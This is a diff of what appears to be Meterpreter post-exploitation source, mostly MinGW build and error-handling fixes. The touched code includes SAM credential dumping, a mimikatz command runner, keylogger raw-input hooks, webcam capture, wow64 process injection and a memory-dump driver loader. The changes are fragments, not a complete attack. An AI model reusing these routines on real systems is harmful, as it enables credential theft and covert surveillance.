wsOut = ::SysAllocStringLen(NULL, cwch);
if(wsOut)
{
if(!::MultiByteToWideChar(CP_ACP, 0, pSrc, -1, wsOut, cwch))
{
if(ERROR_INSUFFICIENT_BUFFER == ::GetLastError())
{
return wsOut;
}
::SysFreeString(wsOut);//must clean up
wsOut = NULL;
}
}
}
return wsOut;
}
inline char* ConvertBSTRToString(BSTR pSrc)
{
if(!pSrc)
{
return NULL;
}
//convert even embeded NULL
DWORD cb,cwch = ::SysStringLen(pSrc);
char *szOut = NULL;
if(cb = ::WideCharToMultiByte(CP_ACP, 0, pSrc, cwch + 1, NULL, 0, 0, 0))
{
szOut = new char[cb];
if(szOut)
{
szOut[cb - 1] = '\0';
if(!::WideCharToMultiByte(CP_ACP, 0, pSrc, cwch + 1, szOut, cb, 0, 0))
{
delete []szOut;//clean up if failed;
szOut = NULL;
}
}
}
return szOut;
}
}
#endif
/*! /*!
* @brief Convert a variant type to a string and write it to the given buffer. * @brief Convert a variant type to a string and write it to the given buffer.
* @param v The variant to convert. * @param v The variant to convert.
@ -39,7 +106,7 @@ extern "C" {
* array depth has been attempted, but no tests have yet found a nested array in the * array depth has been attempted, but no tests have yet found a nested array in the
* result set. There's probably bugs in that bit. * result set. There's probably bugs in that bit.
*/ */
char* variant_to_string(_variant_t& v, char* buffer, DWORD bufferSize) char* variant_to_string(const _variant_t& v, char* buffer, DWORD bufferSize)
{ {
dprintf("[WMI] preparing to parse variant of type %u (%x), buffer size %u", v.vt, v.vt, bufferSize); dprintf("[WMI] preparing to parse variant of type %u (%x), buffer size %u", v.vt, v.vt, bufferSize);

View File

@ -47,6 +47,7 @@ DWORD request_exec_cmd(Remote *remote, Packet *packet)
// While this implies that powershell is in use, this is just a naming thing, // While this implies that powershell is in use, this is just a naming thing,
// it's not actually using powershell. // it's not actually using powershell.
wchar_t* output = powershell_reflective_mimikatz(cmd); wchar_t* output = powershell_reflective_mimikatz(cmd);
dprintf("[KIWI] Executed command: %S", cmd);
if (output != NULL) if (output != NULL)
{ {
met_api->packet.add_tlv_wstring(response, TLV_TYPE_KIWI_CMD_RESULT, output); met_api->packet.add_tlv_wstring(response, TLV_TYPE_KIWI_CMD_RESULT, output);
@ -55,7 +56,7 @@ DWORD request_exec_cmd(Remote *remote, Packet *packet)
{ {
result = ERROR_OUTOFMEMORY; result = ERROR_OUTOFMEMORY;
} }
free(cmd); //LocalFree(cmd);
} }
else else
{ {

@ -1 +1 @@
Subproject commit bc5d9947f58838a3d3446d1c8d42031c1d386ee1 Subproject commit 23fba4e7397b4b03a43f0827b264a64f13f3dcdd

View File

@ -87,4 +87,3 @@ DWORD StagelessInit(UINT extensionId, const LPBYTE buffer, DWORD bufferSize)
VOID CommandAdded(UINT commandId) VOID CommandAdded(UINT commandId)
{ {
} }

View File

@ -398,7 +398,8 @@ DWORD dump_sam(FUNCTIONARGS *fargs)
dwError = 1; dwError = 1;
goto cleanup; goto cleanup;
} }
if (pLsaQueryInformationPolicy(hLSA, PolicyAccountDomainInformation, &pAcctDomainInfo) < 0)
if (pLsaQueryInformationPolicy(hLSA, PolicyAccountDomainInformation, (LPVOID*)&pAcctDomainInfo) < 0)
{ {
dwError = 1; dwError = 1;
goto cleanup; goto cleanup;
@ -566,7 +567,7 @@ cleanup:
#ifdef _WIN64 #ifdef _WIN64
#define sizer setup_dump_sam_arguments #define sizer setup_dump_sam_arguments
#else #else
void sizer() { __asm { ret } } void sizer() {}
#endif #endif
/*! /*!

View File

@ -50,6 +50,7 @@ DWORD request_fs_ls(Remote * remote, Packet * packet)
*/ */
DWORD request_fs_getwd(Remote * remote, Packet * packet) DWORD request_fs_getwd(Remote * remote, Packet * packet)
{ {
dprintf("[fs_getwd] running ...");
Packet *response = met_api->packet.create_response(packet); Packet *response = met_api->packet.create_response(packet);
char *directory = NULL; char *directory = NULL;
DWORD result; DWORD result;
@ -59,6 +60,7 @@ DWORD request_fs_getwd(Remote * remote, Packet * packet)
met_api->packet.add_tlv_string(response, TLV_TYPE_DIRECTORY_PATH, directory); met_api->packet.add_tlv_string(response, TLV_TYPE_DIRECTORY_PATH, directory);
free(directory); free(directory);
} }
dprintf("[fs_getwd] Done");
return met_api->packet.transmit_response(result, remote, response); return met_api->packet.transmit_response(result, remote, response);
} }

View File

@ -16,6 +16,12 @@
#include "fs_local.h" #include "fs_local.h"
#include "search.h" #include "search.h"
#ifdef __MINGW32__
const GUID MET_DBGUID_DEFAULT = {0xc8b521fb,0x5cf3,0x11ce,{0xad,0xe5,0x00,0xaa,0x00,0x44,0x77,0x3d}};
#else
#define MET_DBGUID_DEFAULT DBGUID_DEFAULT
#endif
/* /*
* Helper function to add a search result to the response packet. * Helper function to add a search result to the response packet.
*/ */
@ -583,7 +589,7 @@ DWORD wds3_search(WDS_INTERFACE * pWDSInterface, wchar_t * wpProtocol, wchar_t *
OutputDebugStringW(wpSQL); OutputDebugStringW(wpSQL);
#endif #endif
hr = ICommandText_SetCommandText(pCommandText, &DBGUID_DEFAULT, wpSQL); hr = ICommandText_SetCommandText(pCommandText, &MET_DBGUID_DEFAULT, wpSQL);
if (FAILED(hr)) { if (FAILED(hr)) {
BREAK_WITH_ERROR("[SEARCH] wds3_search: ICommandText_SetCommandText Failed", hr); BREAK_WITH_ERROR("[SEARCH] wds3_search: ICommandText_SetCommandText Failed", hr);
} }

View File

@ -2,7 +2,7 @@
#define _METERPRETER_SOURCE_EXTENSION_STDAPI_STDAPI_SERVER_FS_SEARCH_H #define _METERPRETER_SOURCE_EXTENSION_STDAPI_STDAPI_SERVER_FS_SEARCH_H
#include <shlwapi.h> #include <shlwapi.h>
#include <Searchapi.h> #include <searchapi.h>
#include <msdasc.h> #include <msdasc.h>
#include <ntquery.h> #include <ntquery.h>
#include <cmdtree.h> #include <cmdtree.h>

View File

@ -103,6 +103,7 @@ char *tcp_connection_states[] = {
"", "CLOSED", "LISTEN", "SYN_SENT", "SYN_RECV", "ESTABLISHED", "FIN_WAIT1", "FIN_WAIT2", "CLOSE_WAIT", "", "CLOSED", "LISTEN", "SYN_SENT", "SYN_RECV", "ESTABLISHED", "FIN_WAIT1", "FIN_WAIT2", "CLOSE_WAIT",
"CLOSING", "LAST_ACK", "TIME_WAIT", "DELETE_TCB", "UNKNOWN" }; "CLOSING", "LAST_ACK", "TIME_WAIT", "DELETE_TCB", "UNKNOWN" };
#ifndef __MINGW32__
typedef struct _MIB_TCP6ROW_OWNER_MODULE { typedef struct _MIB_TCP6ROW_OWNER_MODULE {
UCHAR ucLocalAddr[16]; UCHAR ucLocalAddr[16];
DWORD dwLocalScopeId; DWORD dwLocalScopeId;
@ -141,12 +142,13 @@ typedef struct {
MIB_UDP6ROW_OWNER_MODULE table[ANY_SIZE]; MIB_UDP6ROW_OWNER_MODULE table[ANY_SIZE];
} MIB_UDP6TABLE_OWNER_MODULE, *PMIB_UDP6TABLE_OWNER_MODULE; } MIB_UDP6TABLE_OWNER_MODULE, *PMIB_UDP6TABLE_OWNER_MODULE;
#endif
typedef DWORD (WINAPI * ptr_GetExtendedTcpTable)(PVOID, PDWORD pdwSize, BOOL bOrder, ULONG ulAf,TCP_TABLE_CLASS TableClass, typedef DWORD (WINAPI * ptr_GetExtendedTcpTable)(PVOID, PDWORD pdwSize, BOOL bOrder, ULONG ulAf,TCP_TABLE_CLASS TableClass,
ULONG Reserved); ULONG Reserved);
typedef DWORD (WINAPI * ptr_GetExtendedUdpTable)(PVOID, PDWORD pdwSize, BOOL bOrder, ULONG ulAf,TCP_TABLE_CLASS TableClass, typedef DWORD (WINAPI * ptr_GetExtendedUdpTable)(PVOID, PDWORD pdwSize, BOOL bOrder, ULONG ulAf,TCP_TABLE_CLASS TableClass,
ULONG Reserved); ULONG Reserved);
/* /*
* retrieve tcp table for win 2000 and NT4 ? * retrieve tcp table for win 2000 and NT4 ?
*/ */

View File

@ -14,7 +14,8 @@
#ifndef IPPROTO_IPV6 #ifndef IPPROTO_IPV6
#define IPPROTO_IPV6 41 #define IPPROTO_IPV6 41
#endif #endif
#ifndef in6addr_any
#if !defined(in6addr_any) && !defined(__MINGW32__)
extern IN6_ADDR in6addr_any; extern IN6_ADDR in6addr_any;
#endif #endif

View File

@ -1,8 +1,8 @@
#include "precomp.h" #include "precomp.h"
#include "common_metapi.h" #include "common_metapi.h"
#include <Sddl.h> #include <sddl.h>
#include <Lm.h> #include <lm.h>
#include <psapi.h> #include <psapi.h>
typedef NTSTATUS(WINAPI *PRtlGetVersion)(LPOSVERSIONINFOEXW); typedef NTSTATUS(WINAPI *PRtlGetVersion)(LPOSVERSIONINFOEXW);

View File

@ -183,6 +183,10 @@ DWORD request_sys_process_image_unload(Remote *remote, Packet *packet)
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
typedef BOOL (WINAPI *PEnumProcessModules)(HANDLE p, HMODULE *mod, DWORD cb, LPDWORD needed);
typedef DWORD (WINAPI *PGetModuleBaseName)(HANDLE p, HMODULE mod, LPTSTR base, DWORD baseSize);
typedef DWORD (WINAPI *PGetModuleFileNameEx)(HANDLE p, HMODULE mod, LPTSTR path, DWORD pathSize);
/* /*
* Returns a list of all of the loaded image files and their base addresses to * Returns a list of all of the loaded image files and their base addresses to
* the requestor. * the requestor.
@ -191,11 +195,6 @@ DWORD request_sys_process_image_unload(Remote *remote, Packet *packet)
*/ */
DWORD request_sys_process_image_get_images(Remote *remote, Packet *packet) DWORD request_sys_process_image_get_images(Remote *remote, Packet *packet)
{ {
BOOL (WINAPI *enumProcessModules)(HANDLE p, HMODULE *mod, DWORD cb, LPDWORD needed);
DWORD (WINAPI *getModuleBaseName)(HANDLE p, HMODULE mod, LPTSTR base,
DWORD baseSize);
DWORD (WINAPI *getModuleFileNameEx)(HANDLE p, HMODULE mod, LPTSTR path,
DWORD pathSize);
Packet *response = met_api->packet.create_response(packet); Packet *response = met_api->packet.create_response(packet);
HMODULE *modules = NULL; HMODULE *modules = NULL;
BOOLEAN valid = FALSE; BOOLEAN valid = FALSE;
@ -204,6 +203,9 @@ DWORD request_sys_process_image_get_images(Remote *remote, Packet *packet)
DWORD result = ERROR_SUCCESS; DWORD result = ERROR_SUCCESS;
DWORD needed = 0, actual, tries = 0; DWORD needed = 0, actual, tries = 0;
DWORD index; DWORD index;
PEnumProcessModules enumProcessModules = NULL;
PGetModuleBaseName getModuleBaseName = NULL;
PGetModuleFileNameEx getModuleFileNameEx = NULL;
handle = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE); handle = (HANDLE)met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_HANDLE);
@ -215,22 +217,28 @@ DWORD request_sys_process_image_get_images(Remote *remote, Packet *packet)
// Open the process API // Open the process API
if (!(psapi = LoadLibrary("psapi"))) if (!(psapi = LoadLibrary("psapi")))
{
result = GetLastError();
break; break;
}
// Try to resolve the address of EnumProcessModules if (!(enumProcessModules = (PEnumProcessModules)GetProcAddress(psapi, "EnumProcessModules")))
if (!((LPVOID)enumProcessModules = {
(LPVOID)GetProcAddress(psapi, "EnumProcessModules"))) result = GetLastError();
break; break;
}
// Try to resolve the address of GetModuleBaseNameA if (!(getModuleBaseName = (PGetModuleBaseName)GetProcAddress(psapi, "GetModuleBaseNameA")))
if (!((LPVOID)getModuleBaseName = {
(LPVOID)GetProcAddress(psapi, "GetModuleBaseNameA"))) result = GetLastError();
break; break;
}
// Try to resolve the address of GetModuleFileNameExA if (!(getModuleFileNameEx = (PGetModuleFileNameEx)GetProcAddress(psapi, "GetModuleFileNameExA")))
if (!((LPVOID)getModuleFileNameEx = {
(LPVOID)GetProcAddress(psapi, "GetModuleFileNameExA"))) result = GetLastError();
break; break;
}
// Validate parameters // Validate parameters
if (!handle) if (!handle)

View File

@ -5,6 +5,9 @@
#include "./../session.h" #include "./../session.h"
#include "in-mem-exe.h" /* include skapetastic in-mem exe exec */ #include "in-mem-exe.h" /* include skapetastic in-mem exe exec */
typedef BOOL (WINAPI *PEnumProcessModules)(HANDLE p, HMODULE *mod, DWORD cb, LPDWORD needed);
typedef DWORD (WINAPI *PGetModuleBaseName)(HANDLE p, HMODULE mod, LPWSTR base, DWORD baseSize);
typedef DWORD (WINAPI *PGetModuleFileNameEx)(HANDLE p, HMODULE mod, LPWSTR path, DWORD pathSize);
typedef BOOL (STDMETHODCALLTYPE FAR * LPFNCREATEENVIRONMENTBLOCK)( LPVOID *lpEnvironment, HANDLE hToken, BOOL bInherit ); typedef BOOL (STDMETHODCALLTYPE FAR * LPFNCREATEENVIRONMENTBLOCK)( LPVOID *lpEnvironment, HANDLE hToken, BOOL bInherit );
typedef BOOL (STDMETHODCALLTYPE FAR * LPFNDESTROYENVIRONMENTBLOCK) ( LPVOID lpEnvironment ); typedef BOOL (STDMETHODCALLTYPE FAR * LPFNDESTROYENVIRONMENTBLOCK) ( LPVOID lpEnvironment );
@ -729,13 +732,9 @@ DWORD request_sys_process_get_info(Remote *remote, Packet *packet)
{ {
Packet *response = met_api->packet.create_response(packet); Packet *response = met_api->packet.create_response(packet);
PEnumProcessModules enumProcessModules = NULL;
BOOL (WINAPI *enumProcessModules)(HANDLE p, HMODULE *mod, DWORD cb, PGetModuleBaseName getModuleBaseName = NULL;
LPDWORD needed); PGetModuleFileNameEx getModuleFileNameEx = NULL;
DWORD (WINAPI *getModuleBaseName)(HANDLE p, HMODULE mod, LPWSTR base,
DWORD baseSize);
DWORD (WINAPI *getModuleFileNameEx)(HANDLE p, HMODULE mod, LPWSTR path,
DWORD pathSize);
HMODULE mod; HMODULE mod;
HANDLE psapi = NULL; HANDLE psapi = NULL;
@ -769,13 +768,21 @@ DWORD request_sys_process_get_info(Remote *remote, Packet *packet)
break; break;
} }
// Try to resolve the necessary symbols if (!(enumProcessModules = (PEnumProcessModules)GetProcAddress(psapi, "EnumProcessModules")))
if ((!((LPVOID)enumProcessModules = {
(LPVOID)GetProcAddress(psapi, "EnumProcessModules"))) || result = GetLastError();
(!((LPVOID)getModuleBaseName = break;
(LPVOID)GetProcAddress(psapi, "GetModuleBaseNameW"))) || }
(!((LPVOID)getModuleFileNameEx =
(LPVOID)GetProcAddress(psapi, "GetModuleFileNameExW")))) // Try to resolve the address of GetModuleBaseNameA
if (!(getModuleBaseName = (PGetModuleBaseName)GetProcAddress(psapi, "GetModuleBaseNameW")))
{
result = GetLastError();
break;
}
// Try to resolve the address of GetModuleFileNameExA
if (!(getModuleFileNameEx = (PGetModuleFileNameEx)GetProcAddress(psapi, "GetModuleFileNameExW")))
{ {
result = GetLastError(); result = GetLastError();
break; break;

View File

@ -7,7 +7,7 @@ VOID set_thread_register_value(LPCONTEXT, LPCSTR name, ULONG value);
typedef BOOL (WINAPI *PISWOW64PROCESS)(HANDLE, PBOOL); typedef BOOL (WINAPI *PISWOW64PROCESS)(HANDLE, PBOOL);
static PISWOW64PROCESS pIsWow64Process = NULL; static PISWOW64PROCESS pIsWow64Process = NULL;
BOOL IsWow64Process(HANDLE hProcess) BOOL LocalIsWow64Process(HANDLE hProcess)
{ {
BOOL result = FALSE; BOOL result = FALSE;
@ -118,8 +118,8 @@ DWORD request_sys_process_thread_create(Remote *remote, Packet *packet)
if (dwResult == ERROR_ACCESS_DENIED if (dwResult == ERROR_ACCESS_DENIED
&& dwMeterpreterArch == PROCESS_ARCH_X86 && dwMeterpreterArch == PROCESS_ARCH_X86
&& IsWow64Process(GetCurrentProcess()) && LocalIsWow64Process(GetCurrentProcess())
&& !IsWow64Process(hProcess)) && !LocalIsWow64Process(hProcess))
{ {
dprintf("[THREAD CREATE] Target is x64, attempting wow64 injection"); dprintf("[THREAD CREATE] Target is x64, attempting wow64 injection");

View File

@ -2,7 +2,7 @@
#include "common_metapi.h" #include "common_metapi.h"
#include "keyboard.h" #include "keyboard.h"
#include <tchar.h> #include <tchar.h>
#include <Psapi.h> #include <psapi.h>
extern HMODULE hookLibrary; extern HMODULE hookLibrary;
extern HINSTANCE hAppInstance; extern HINSTANCE hAppInstance;

View File

@ -17,6 +17,8 @@
* Raw Input Messages. * Raw Input Messages.
*/ */
#ifndef __MINGW32__
DECLARE_HANDLE(HRAWINPUT); DECLARE_HANDLE(HRAWINPUT);
/* /*
@ -138,18 +140,19 @@ typedef struct tagRAWINPUT {
} data; } data;
} RAWINPUT, *PRAWINPUT, *LPRAWINPUT; } RAWINPUT, *PRAWINPUT, *LPRAWINPUT;
#endif
typedef UINT(WINAPI *f_GetRawInputData)( typedef UINT(WINAPI *f_GetRawInputData)(
__in HRAWINPUT hRawInput, HRAWINPUT hRawInput,
__in UINT uiCommand, UINT uiCommand,
__out_bcount_part_opt(*pcbSize, return) LPVOID pData, LPVOID pData,
__inout PUINT pcbSize, PUINT pcbSize,
__in UINT cbSizeHeader); UINT cbSizeHeader);
typedef BOOL(WINAPI *f_RegisterRawInputDevices)( typedef BOOL(WINAPI *f_RegisterRawInputDevices)(
__in_ecount(uiNumDevices) PCRAWINPUTDEVICE pRawInputDevices, PCRAWINPUTDEVICE pRawInputDevices,
__in UINT uiNumDevices, UINT uiNumDevices,
__in UINT cbSize); UINT cbSize);
typedef DWORD(WINAPI *f_QueryFullProcessImageNameW) (HANDLE, DWORD, LPTSTR, PDWORD); typedef DWORD(WINAPI *f_QueryFullProcessImageNameW) (HANDLE, DWORD, LPTSTR, PDWORD);
typedef DWORD(WINAPI *f_GetProcessImageFileNameW) (HANDLE, LPTSTR, DWORD); typedef DWORD(WINAPI *f_GetProcessImageFileNameW) (HANDLE, LPTSTR, DWORD);

View File

@ -14,7 +14,7 @@
#define WIN32_LEAN_AND_MEAN #define WIN32_LEAN_AND_MEAN
#include <windows.h> #include <windows.h>
#include <dshow.h> #include <dshow.h>
#pragma comment(lib, "strmiids")
extern "C" { extern "C" {
#include "common.h" #include "common.h"
#include "webcam.h" #include "webcam.h"

View File

@ -0,0 +1,66 @@
// Microsoft Visual C++ generated resource script.
//
#define APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 2 resource.
//
// #include "afxres.h"
/////////////////////////////////////////////////////////////////////////////
#undef APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
// English (United States) resources
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)
//LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
#ifdef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// TEXTINCLUDE
//
1 TEXTINCLUDE
BEGIN
"resource.h\0"
END
2 TEXTINCLUDE
BEGIN
"#include ""afxres.h""\r\n"
"\0"
END
3 TEXTINCLUDE
BEGIN
"\r\n"
"\0"
END
#endif // APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// FILE
//
104 FILE "./binaries/winpmem_x64.sys"
105 FILE "./binaries/winpmem_x86.sys"
106 FILE "./binaries/fcat.exe"
#endif // English (United States) resources
/////////////////////////////////////////////////////////////////////////////
#ifndef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 3 resource.
//
/////////////////////////////////////////////////////////////////////////////
#endif // not APSTUDIO_INVOKED

File diff suppressed because it is too large Load Diff

View File

@ -9,6 +9,10 @@ extern "C" {
#define RDIDLL_NOEXPORT #define RDIDLL_NOEXPORT
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
#ifndef min
#define min(x,y) ((x)<(y)?(x):(y))
#endif
// Required so that use of the API works. // Required so that use of the API works.
MetApi* met_api = NULL; MetApi* met_api = NULL;
@ -70,75 +74,88 @@ extern "C" {
#include "winpmem_meterpreter.h" #include "winpmem_meterpreter.h"
int WinPmem_meterpreter::extract_file_(__int64 resource_id, TCHAR *filename) int WinPmem_meterpreter::extract_file_(__int64 resource_id, TCHAR* filename)
{ {
int result = -1;
HANDLE out_fd = INVALID_HANDLE_VALUE;
// Locate the driver resource in the .EXE file. // Locate the driver resource in the .EXE file.
HRSRC hRes = FindResource(hAppInstance, MAKEINTRESOURCE(resource_id), L"FILE"); HRSRC hRes = FindResource(hAppInstance, MAKEINTRESOURCE(resource_id), L"FILE");
if (hRes == NULL) { do
dprintf("[WINPMEM] Could not locate driver resource."); {
goto error; if (hRes == NULL)
{
dprintf("[WINPMEM] Could not locate driver resource.");
break;
}
HGLOBAL hResLoad = LoadResource(hAppInstance, hRes);
if (hResLoad == NULL)
{
dprintf("[WINPMEM] Could not load driver resource.");
break;
}
VOID* lpResLock = LockResource(hResLoad);
if (lpResLock == NULL)
{
dprintf("[WINPMEM] Could not lock driver resource.");
break;
}
DWORD size = SizeofResource(hAppInstance, hRes);
// Now open the filename and write the driver image on it.
HANDLE out_fd = CreateFile(filename, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (out_fd == INVALID_HANDLE_VALUE)
{
dprintf("[WINPMEM] Can not create temporary file.");
break;
};
if (!WriteFile(out_fd, lpResLock, size, &size, NULL))
{
dprintf("[WINPMEM] Can not write to temporary file.");
break;
}
result = 0;
} while (0);
if (out_fd != NULL && out_fd != INVALID_HANDLE_VALUE)
{
CloseHandle(out_fd);
} }
HGLOBAL hResLoad = LoadResource(hAppInstance, hRes); return result;
if (hResLoad == NULL) {
dprintf("[WINPMEM] Could not load driver resource.");
goto error;
}
VOID *lpResLock = LockResource(hResLoad);
if (lpResLock == NULL) {
dprintf("[WINPMEM] Could not lock driver resource.");
goto error;
}
DWORD size = SizeofResource(hAppInstance, hRes);
// Now open the filename and write the driver image on it.
HANDLE out_fd = CreateFile(filename, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (out_fd == INVALID_HANDLE_VALUE) {
dprintf("[WINPMEM] Can not create temporary file.");
goto error_resource;
};
if (!WriteFile(out_fd, lpResLock, size, &size, NULL)) {
dprintf("[WINPMEM] Can not write to temporary file.");
goto error_file;
}
CloseHandle(out_fd);
return 1;
error_file:
CloseHandle(out_fd);
error_resource:
error :
return -1;
}; };
HANDLE WinPmem_meterpreter::get_fd() { HANDLE WinPmem_meterpreter::get_fd()
{
return fd_; return fd_;
} }
uint64_t WinPmem_meterpreter::get_max_physical_memory() { uint64_t WinPmem_meterpreter::get_max_physical_memory()
{
return max_physical_memory_; return max_physical_memory_;
} }
int WinPmem_meterpreter64::extract_driver() { int WinPmem_meterpreter64::extract_driver()
{
// 64 bit drivers use PTE acquisition by default. // 64 bit drivers use PTE acquisition by default.
default_mode_ = PMEM_MODE_PTE; default_mode_ = PMEM_MODE_PTE;
if (!driver_filename_) { if (!driver_filename_)
{
TCHAR path[MAX_PATH + 1]; TCHAR path[MAX_PATH + 1];
TCHAR filename[MAX_PATH + 1]; TCHAR filename[MAX_PATH + 1];
// Gets the temp path env string (no guarantee it's a valid path). // Gets the temp path env string (no guarantee it's a valid path).
if (!GetTempPath(MAX_PATH, path)) { if (!GetTempPath(MAX_PATH, path))
{
dprintf("[WINPMEM] Unable to determine temporary path."); dprintf("[WINPMEM] Unable to determine temporary path.");
goto error; return -1;
} }
GetTempFileName(path, service_name, 0, filename); GetTempFileName(path, service_name, 0, filename);
@ -150,23 +167,23 @@ int WinPmem_meterpreter64::extract_driver() {
dprintf("[WINPMEM] Extracting driver to %s", driver_filename_); dprintf("[WINPMEM] Extracting driver to %s", driver_filename_);
return extract_file_(WINPMEM_64BIT_DRIVER, driver_filename_); return extract_file_(WINPMEM_64BIT_DRIVER, driver_filename_);
error:
return -1;
} }
int WinPmem_meterpreter32::extract_driver() { int WinPmem_meterpreter32::extract_driver()
{
// 32 bit acquisition defaults to physical device. // 32 bit acquisition defaults to physical device.
default_mode_ = PMEM_MODE_PHYSICAL; default_mode_ = PMEM_MODE_PHYSICAL;
if (!driver_filename_) { if (!driver_filename_)
{
TCHAR path[MAX_PATH + 1]; TCHAR path[MAX_PATH + 1];
TCHAR filename[MAX_PATH + 1]; TCHAR filename[MAX_PATH + 1];
// Gets the temp path env string (no guarantee it's a valid path). // Gets the temp path env string (no guarantee it's a valid path).
if (!GetTempPath(MAX_PATH, path)) { if (!GetTempPath(MAX_PATH, path))
{
dprintf("[WINPMEM] Unable to determine temporary path."); dprintf("[WINPMEM] Unable to determine temporary path.");
goto error; return -1;
} }
GetTempFileName(path, service_name, 0, filename); GetTempFileName(path, service_name, 0, filename);
@ -178,9 +195,6 @@ int WinPmem_meterpreter32::extract_driver() {
dprintf("[WINPMEM] Extracting driver to %s", driver_filename_); dprintf("[WINPMEM] Extracting driver to %s", driver_filename_);
return extract_file_(WINPMEM_32BIT_DRIVER, driver_filename_); return extract_file_(WINPMEM_32BIT_DRIVER, driver_filename_);
error:
return -1;
} }
WinPmem_meterpreter *WinPmemFactory() WinPmem_meterpreter *WinPmemFactory()
@ -188,7 +202,8 @@ WinPmem_meterpreter *WinPmemFactory()
SYSTEM_INFO sys_info = {0}; SYSTEM_INFO sys_info = {0};
GetNativeSystemInfo(&sys_info); GetNativeSystemInfo(&sys_info);
switch (sys_info.wProcessorArchitecture) { switch (sys_info.wProcessorArchitecture)
{
case PROCESSOR_ARCHITECTURE_AMD64: case PROCESSOR_ARCHITECTURE_AMD64:
return new WinPmem_meterpreter64(); return new WinPmem_meterpreter64();
@ -216,7 +231,8 @@ DWORD dump_ram(Remote *remote, Packet *packet)
BOOL acquire_pagefile = FALSE; BOOL acquire_pagefile = FALSE;
status = pmem_handle->install_driver(); status = pmem_handle->install_driver();
if (status > 0) { if (status > 0)
{
pmem_handle->set_acquisition_mode(mode); pmem_handle->set_acquisition_mode(mode);
result = WINPMEM_ERROR_SUCCESS; result = WINPMEM_ERROR_SUCCESS;
} }
@ -233,7 +249,8 @@ DWORD dump_ram(Remote *remote, Packet *packet)
// Get the memory ranges. // Get the memory ranges.
if (!DeviceIoControl(pmem_handle->get_fd(), PMEM_INFO_IOCTRL, NULL, 0, (char *)&info, if (!DeviceIoControl(pmem_handle->get_fd(), PMEM_INFO_IOCTRL, NULL, 0, (char *)&info,
sizeof(info), &size, NULL)) { sizeof(info), &size, NULL))
{
dprintf("[WINPMEM] Failed to get memory geometry"); dprintf("[WINPMEM] Failed to get memory geometry");
result = WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY; result = WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY;
goto end; goto end;
@ -246,7 +263,8 @@ DWORD dump_ram(Remote *remote, Packet *packet)
WinpmemContext *ctx; WinpmemContext *ctx;
// Allocate storage for the Winpmem context // Allocate storage for the Winpmem context
if (!(ctx = (WinpmemContext*)calloc(1, sizeof(WinpmemContext)))) { if (!(ctx = (WinpmemContext*)calloc(1, sizeof(WinpmemContext))))
{
dprintf("[WINPMEM] Failed to allocate memory"); dprintf("[WINPMEM] Failed to allocate memory");
result = WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY; result = WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY;
goto end; goto end;
@ -302,31 +320,36 @@ static int winpmem_meterpreter_copy_memory(uint64_t start, uint64_t end,
{ {
LARGE_INTEGER large_start; LARGE_INTEGER large_start;
if (start >= ctx->winpmem->get_max_physical_memory()) { if (start >= ctx->winpmem->get_max_physical_memory())
{
return 0; return 0;
}; };
// Clamp the region to the top of physical memory. // Clamp the region to the top of physical memory.
if (end > ctx->winpmem->get_max_physical_memory()) { if (end > ctx->winpmem->get_max_physical_memory())
{
end = ctx->winpmem->get_max_physical_memory(); end = ctx->winpmem->get_max_physical_memory();
}; };
while (start < end) { while (start < end)
{
DWORD to_write = (DWORD)min(bufferSize - *bytesRead, end - start); DWORD to_write = (DWORD)min(bufferSize - *bytesRead, end - start);
DWORD bytes_read = 0; DWORD bytes_read = 0;
large_start.QuadPart = start; large_start.QuadPart = start;
if (0xFFFFFFFF == SetFilePointerEx( if (0xFFFFFFFF == SetFilePointerEx(
ctx->winpmem->get_fd(), large_start, NULL, FILE_BEGIN)) { ctx->winpmem->get_fd(), large_start, NULL, FILE_BEGIN))
{
dprintf("[WINPMEM] Failed to seek in the pmem device."); dprintf("[WINPMEM] Failed to seek in the pmem device.");
goto error; return 0;
}; };
if (!ReadFile(ctx->winpmem->get_fd(), reinterpret_cast<char*>(buffer)+*bytesRead, to_write, &bytes_read, NULL) || if (!ReadFile(ctx->winpmem->get_fd(), reinterpret_cast<char*>(buffer)+*bytesRead, to_write, &bytes_read, NULL) ||
bytes_read != to_write) { bytes_read != to_write)
{
dprintf("[WINPMEM] Failed to Read memory."); dprintf("[WINPMEM] Failed to Read memory.");
goto error; return 0;
}; };
*bytesRead += bytes_read; *bytesRead += bytes_read;
@ -334,23 +357,22 @@ static int winpmem_meterpreter_copy_memory(uint64_t start, uint64_t end,
start += bytes_read; start += bytes_read;
}; };
return 1; return 1;
error:
return 0;
}; };
static DWORD winpmem_channel_read(Channel *channel, Packet *request, static DWORD winpmem_channel_read(Channel* channel, Packet* request,
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesRead) LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesRead)
{ {
WinpmemContext *ctx = (WinpmemContext *)context; WinpmemContext* ctx = (WinpmemContext*)context;
uint64_t offset = ctx->offset; uint64_t offset = ctx->offset;
*bytesRead = 0; *bytesRead = 0;
if (ctx->index >= ctx->pmem_info.NumberOfRuns.QuadPart) { if (ctx->index >= ctx->pmem_info.NumberOfRuns.QuadPart)
{
dprintf("[WINPMEM] Memory end reached."); dprintf("[WINPMEM] Memory end reached.");
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
